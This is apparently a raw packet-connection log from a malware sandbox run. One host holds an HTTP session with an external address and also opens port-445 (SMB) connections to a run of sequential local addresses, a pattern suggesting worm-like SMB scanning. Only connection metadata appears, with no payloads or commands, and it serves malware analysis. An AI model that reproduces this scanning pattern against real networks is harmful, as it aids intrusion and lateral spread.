Jul 6, 2024 14:10:25.015810013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015820026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015842915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.015858889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.015907049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015944004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.016016960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016026020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016035080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016062021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.016076088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.016125917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016166925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.016271114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016278982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016283989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016324997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.016505003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016552925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.016562939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016572952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016601086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.016808987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016849041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.016865015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016899109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.016911983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.016953945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.016982079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017020941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.017148972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017187119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.017272949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017281055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017291069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017311096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.017323971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.017383099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017422915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.017545938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017554998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017564058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017592907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.017605066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.017628908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017657995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.017769098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017777920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017786026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.017807961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.017826080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018083096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018093109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018102884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018131018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018152952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018273115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018315077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018321991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018352985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018465996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018474102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018511057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018665075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018704891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018780947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018790007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018816948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018826962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018850088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018898010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018937111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018938065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.018976927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.018985987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.019021988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.019041061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.019076109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.019117117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.019159079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.019187927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.019228935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.019249916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.019292116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.019303083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.019335985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.019360065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.019402027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.019417048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.019454956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.019644976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.019685030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.019748926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.019788027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.020584106 CEST	50048	445	192.168.2.4	192.168.0.232
Jul 6, 2024 14:10:25.023427963 CEST	445	50047	192.168.0.231	192.168.2.4
Jul 6, 2024 14:10:25.023483992 CEST	50047	445	192.168.2.4	192.168.0.231
Jul 6, 2024 14:10:25.025587082 CEST	445	50048	192.168.0.232	192.168.2.4
Jul 6, 2024 14:10:25.025641918 CEST	50048	445	192.168.2.4	192.168.0.232
Jul 6, 2024 14:10:25.025736094 CEST	50048	445	192.168.2.4	192.168.0.232
Jul 6, 2024 14:10:25.030838013 CEST	445	50048	192.168.0.232	192.168.2.4
Jul 6, 2024 14:10:25.030879974 CEST	50048	445	192.168.2.4	192.168.0.232
Jul 6, 2024 14:10:25.036159992 CEST	50049	445	192.168.2.4	192.168.0.233
Jul 6, 2024 14:10:25.040968895 CEST	445	50049	192.168.0.233	192.168.2.4
Jul 6, 2024 14:10:25.041034937 CEST	50049	445	192.168.2.4	192.168.0.233
Jul 6, 2024 14:10:25.041102886 CEST	50049	445	192.168.2.4	192.168.0.233
Jul 6, 2024 14:10:25.046292067 CEST	445	50049	192.168.0.233	192.168.2.4
Jul 6, 2024 14:10:25.046344042 CEST	50049	445	192.168.2.4	192.168.0.233
Jul 6, 2024 14:10:25.051810026 CEST	50050	445	192.168.2.4	192.168.0.234
Jul 6, 2024 14:10:25.056643963 CEST	445	50050	192.168.0.234	192.168.2.4
Jul 6, 2024 14:10:25.056843042 CEST	50050	445	192.168.2.4	192.168.0.234
Jul 6, 2024 14:10:25.067244053 CEST	50050	445	192.168.2.4	192.168.0.234
Jul 6, 2024 14:10:25.067599058 CEST	50051	445	192.168.2.4	192.168.0.235
Jul 6, 2024 14:10:25.072556019 CEST	445	50050	192.168.0.234	192.168.2.4
Jul 6, 2024 14:10:25.072607040 CEST	445	50051	192.168.0.235	192.168.2.4
Jul 6, 2024 14:10:25.072613001 CEST	50050	445	192.168.2.4	192.168.0.234
Jul 6, 2024 14:10:25.072669983 CEST	50051	445	192.168.2.4	192.168.0.235
Jul 6, 2024 14:10:25.072753906 CEST	50051	445	192.168.2.4	192.168.0.235
Jul 6, 2024 14:10:25.078094006 CEST	445	50051	192.168.0.235	192.168.2.4
Jul 6, 2024 14:10:25.078150988 CEST	50051	445	192.168.2.4	192.168.0.235
Jul 6, 2024 14:10:25.083132982 CEST	50052	445	192.168.2.4	192.168.0.236
Jul 6, 2024 14:10:25.088464022 CEST	445	50052	192.168.0.236	192.168.2.4
Jul 6, 2024 14:10:25.088541985 CEST	50052	445	192.168.2.4	192.168.0.236
Jul 6, 2024 14:10:25.098476887 CEST	50052	445	192.168.2.4	192.168.0.236
Jul 6, 2024 14:10:25.098750114 CEST	50053	445	192.168.2.4	192.168.0.237
Jul 6, 2024 14:10:25.103270054 CEST	445	50052	192.168.0.236	192.168.2.4
Jul 6, 2024 14:10:25.103332043 CEST	50052	445	192.168.2.4	192.168.0.236
Jul 6, 2024 14:10:25.103998899 CEST	445	50053	192.168.0.237	192.168.2.4
Jul 6, 2024 14:10:25.104060888 CEST	50053	445	192.168.2.4	192.168.0.237
Jul 6, 2024 14:10:25.104146004 CEST	50053	445	192.168.2.4	192.168.0.237
Jul 6, 2024 14:10:25.110110998 CEST	445	50053	192.168.0.237	192.168.2.4
Jul 6, 2024 14:10:25.110166073 CEST	50053	445	192.168.2.4	192.168.0.237
Jul 6, 2024 14:10:25.114453077 CEST	50054	445	192.168.2.4	192.168.0.238
Jul 6, 2024 14:10:25.119329929 CEST	445	50054	192.168.0.238	192.168.2.4
Jul 6, 2024 14:10:25.119410992 CEST	50054	445	192.168.2.4	192.168.0.238
Jul 6, 2024 14:10:25.119496107 CEST	50054	445	192.168.2.4	192.168.0.238
Jul 6, 2024 14:10:25.124524117 CEST	445	50054	192.168.0.238	192.168.2.4
Jul 6, 2024 14:10:25.124573946 CEST	50054	445	192.168.2.4	192.168.0.238
Jul 6, 2024 14:10:25.130073071 CEST	50055	445	192.168.2.4	192.168.0.239
Jul 6, 2024 14:10:25.134906054 CEST	445	50055	192.168.0.239	192.168.2.4
Jul 6, 2024 14:10:25.135004997 CEST	50055	445	192.168.2.4	192.168.0.239
Jul 6, 2024 14:10:25.145427942 CEST	50055	445	192.168.2.4	192.168.0.239
Jul 6, 2024 14:10:25.145945072 CEST	50056	445	192.168.2.4	192.168.0.240
Jul 6, 2024 14:10:25.150547028 CEST	445	50055	192.168.0.239	192.168.2.4
Jul 6, 2024 14:10:25.150656939 CEST	50055	445	192.168.2.4	192.168.0.239
Jul 6, 2024 14:10:25.150743961 CEST	445	50056	192.168.0.240	192.168.2.4
Jul 6, 2024 14:10:25.150804043 CEST	50056	445	192.168.2.4	192.168.0.240
Jul 6, 2024 14:10:25.150943041 CEST	50056	445	192.168.2.4	192.168.0.240
Jul 6, 2024 14:10:25.156018972 CEST	445	50056	192.168.0.240	192.168.2.4
Jul 6, 2024 14:10:25.156101942 CEST	50056	445	192.168.2.4	192.168.0.240
Jul 6, 2024 14:10:25.170344114 CEST	50057	445	192.168.2.4	192.168.0.241
Jul 6, 2024 14:10:25.175086021 CEST	445	50057	192.168.0.241	192.168.2.4
Jul 6, 2024 14:10:25.175154924 CEST	50057	445	192.168.2.4	192.168.0.241
Jul 6, 2024 14:10:25.175251961 CEST	50057	445	192.168.2.4	192.168.0.241
Jul 6, 2024 14:10:25.177094936 CEST	50058	445	192.168.2.4	192.168.0.242
Jul 6, 2024 14:10:25.180459976 CEST	445	50057	192.168.0.241	192.168.2.4
Jul 6, 2024 14:10:25.180500031 CEST	50057	445	192.168.2.4	192.168.0.241
Jul 6, 2024 14:10:25.181807995 CEST	445	50058	192.168.0.242	192.168.2.4
Jul 6, 2024 14:10:25.181879997 CEST	50058	445	192.168.2.4	192.168.0.242
Jul 6, 2024 14:10:25.181971073 CEST	50058	445	192.168.2.4	192.168.0.242
Jul 6, 2024 14:10:25.187180042 CEST	445	50058	192.168.0.242	192.168.2.4
Jul 6, 2024 14:10:25.187284946 CEST	50058	445	192.168.2.4	192.168.0.242
Jul 6, 2024 14:10:25.192585945 CEST	50059	445	192.168.2.4	192.168.0.243
Jul 6, 2024 14:10:25.197926044 CEST	445	50059	192.168.0.243	192.168.2.4
Jul 6, 2024 14:10:25.198005915 CEST	50059	445	192.168.2.4	192.168.0.243
Jul 6, 2024 14:10:25.198086977 CEST	50059	445	192.168.2.4	192.168.0.243
Jul 6, 2024 14:10:25.203574896 CEST	445	50059	192.168.0.243	192.168.2.4
Jul 6, 2024 14:10:25.203636885 CEST	50059	445	192.168.2.4	192.168.0.243
Jul 6, 2024 14:10:25.204662085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.204689980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.204699039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.204709053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.204724073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.204761028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.204921961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.204943895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.204953909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.204984903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205018044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205022097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205074072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205506086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205523014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205533981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205559015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205569029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205591917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205600977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205610991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205626965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205631018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205662966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205662966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205806971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205832958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205852985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205852985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205883026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.205884933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205884933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.205965996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206003904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206003904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206034899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206075907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206099987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206125975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206173897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206379890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206402063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206410885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206425905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206463099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206537962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206567049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206578970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206588984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206604004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206613064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206613064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206649065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206805944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206845045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206855059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.206866026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.206877947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.207077980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.207103014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.207113028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.207124949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.207145929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.207175016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.208218098 CEST	50060	445	192.168.2.4	192.168.0.244
Jul 6, 2024 14:10:25.209244967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209301949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209310055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209312916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209336996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209350109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209368944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209379911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209389925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209399939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209403992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209414959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209439039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209502935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209512949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209522963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209544897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209570885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209575891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209585905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209595919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209609032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209631920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209654093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209800005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209814072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209822893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209835052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209845066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209851027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209853888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209863901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209872961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209872961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209888935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209892035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.209912062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209934950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.209976912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.210012913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.210026026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.210037947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.210041046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.210056067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.210066080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.210072994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.210074902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.210083961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.210083961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.210098982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.210124016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.213135958 CEST	445	50060	192.168.0.244	192.168.2.4
Jul 6, 2024 14:10:25.213188887 CEST	50060	445	192.168.2.4	192.168.0.244
Jul 6, 2024 14:10:25.213260889 CEST	50060	445	192.168.2.4	192.168.0.244
Jul 6, 2024 14:10:25.218461037 CEST	445	50060	192.168.0.244	192.168.2.4
Jul 6, 2024 14:10:25.219192982 CEST	445	50060	192.168.0.244	192.168.2.4
Jul 6, 2024 14:10:25.219229937 CEST	50060	445	192.168.2.4	192.168.0.244
Jul 6, 2024 14:10:25.223727942 CEST	50061	445	192.168.2.4	192.168.0.245
Jul 6, 2024 14:10:25.229224920 CEST	445	50061	192.168.0.245	192.168.2.4
Jul 6, 2024 14:10:25.229289055 CEST	50061	445	192.168.2.4	192.168.0.245
Jul 6, 2024 14:10:25.229484081 CEST	50061	445	192.168.2.4	192.168.0.245
Jul 6, 2024 14:10:25.237554073 CEST	445	50061	192.168.0.245	192.168.2.4
Jul 6, 2024 14:10:25.237610102 CEST	50061	445	192.168.2.4	192.168.0.245
Jul 6, 2024 14:10:25.239413023 CEST	50062	445	192.168.2.4	192.168.0.246
Jul 6, 2024 14:10:25.245361090 CEST	445	50062	192.168.0.246	192.168.2.4
Jul 6, 2024 14:10:25.245428085 CEST	50062	445	192.168.2.4	192.168.0.246
Jul 6, 2024 14:10:25.245505095 CEST	50062	445	192.168.2.4	192.168.0.246
Jul 6, 2024 14:10:25.251152039 CEST	445	50062	192.168.0.246	192.168.2.4
Jul 6, 2024 14:10:25.251203060 CEST	50062	445	192.168.2.4	192.168.0.246
Jul 6, 2024 14:10:25.255072117 CEST	50063	445	192.168.2.4	192.168.0.247
Jul 6, 2024 14:10:25.263658047 CEST	445	50063	192.168.0.247	192.168.2.4
Jul 6, 2024 14:10:25.263737917 CEST	50063	445	192.168.2.4	192.168.0.247
Jul 6, 2024 14:10:25.270347118 CEST	50063	445	192.168.2.4	192.168.0.247
Jul 6, 2024 14:10:25.270638943 CEST	50064	445	192.168.2.4	192.168.0.248
Jul 6, 2024 14:10:25.278106928 CEST	445	50064	192.168.0.248	192.168.2.4
Jul 6, 2024 14:10:25.278172016 CEST	50064	445	192.168.2.4	192.168.0.248
Jul 6, 2024 14:10:25.279522896 CEST	445	50063	192.168.0.247	192.168.2.4
Jul 6, 2024 14:10:25.279576063 CEST	50063	445	192.168.2.4	192.168.0.247
Jul 6, 2024 14:10:25.285979033 CEST	50064	445	192.168.2.4	192.168.0.248
Jul 6, 2024 14:10:25.286302090 CEST	50065	445	192.168.2.4	192.168.0.249
Jul 6, 2024 14:10:25.291446924 CEST	445	50065	192.168.0.249	192.168.2.4
Jul 6, 2024 14:10:25.291507006 CEST	50065	445	192.168.2.4	192.168.0.249
Jul 6, 2024 14:10:25.291548967 CEST	445	50064	192.168.0.248	192.168.2.4
Jul 6, 2024 14:10:25.291589975 CEST	50064	445	192.168.2.4	192.168.0.248
Jul 6, 2024 14:10:25.291589975 CEST	50065	445	192.168.2.4	192.168.0.249
Jul 6, 2024 14:10:25.297311068 CEST	445	50065	192.168.0.249	192.168.2.4
Jul 6, 2024 14:10:25.297358036 CEST	50065	445	192.168.2.4	192.168.0.249
Jul 6, 2024 14:10:25.301842928 CEST	50066	445	192.168.2.4	192.168.0.250
Jul 6, 2024 14:10:25.306725025 CEST	445	50066	192.168.0.250	192.168.2.4
Jul 6, 2024 14:10:25.306790113 CEST	50066	445	192.168.2.4	192.168.0.250
Jul 6, 2024 14:10:25.306881905 CEST	50066	445	192.168.2.4	192.168.0.250
Jul 6, 2024 14:10:25.312289953 CEST	445	50066	192.168.0.250	192.168.2.4
Jul 6, 2024 14:10:25.312335968 CEST	50066	445	192.168.2.4	192.168.0.250
Jul 6, 2024 14:10:25.317527056 CEST	50067	445	192.168.2.4	192.168.0.251
Jul 6, 2024 14:10:25.322504997 CEST	445	50067	192.168.0.251	192.168.2.4
Jul 6, 2024 14:10:25.322573900 CEST	50067	445	192.168.2.4	192.168.0.251
Jul 6, 2024 14:10:25.322662115 CEST	50067	445	192.168.2.4	192.168.0.251
Jul 6, 2024 14:10:25.328233957 CEST	445	50067	192.168.0.251	192.168.2.4
Jul 6, 2024 14:10:25.328294992 CEST	50067	445	192.168.2.4	192.168.0.251
Jul 6, 2024 14:10:25.333121061 CEST	50068	445	192.168.2.4	192.168.0.252
